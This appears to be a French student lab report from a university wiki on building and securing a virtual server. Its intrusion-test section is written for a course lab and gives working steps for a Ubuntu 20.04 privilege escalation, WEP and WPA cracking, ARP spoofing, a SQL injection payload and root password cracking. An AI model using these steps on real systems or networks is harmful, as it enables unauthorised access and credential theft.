Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==4.4 Sécurisation de serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n'oblions pas d'incrementez le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
on signe ensuite les enregistrement de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54274</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54274"/>
				<updated>2020-12-06T00:59:04Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
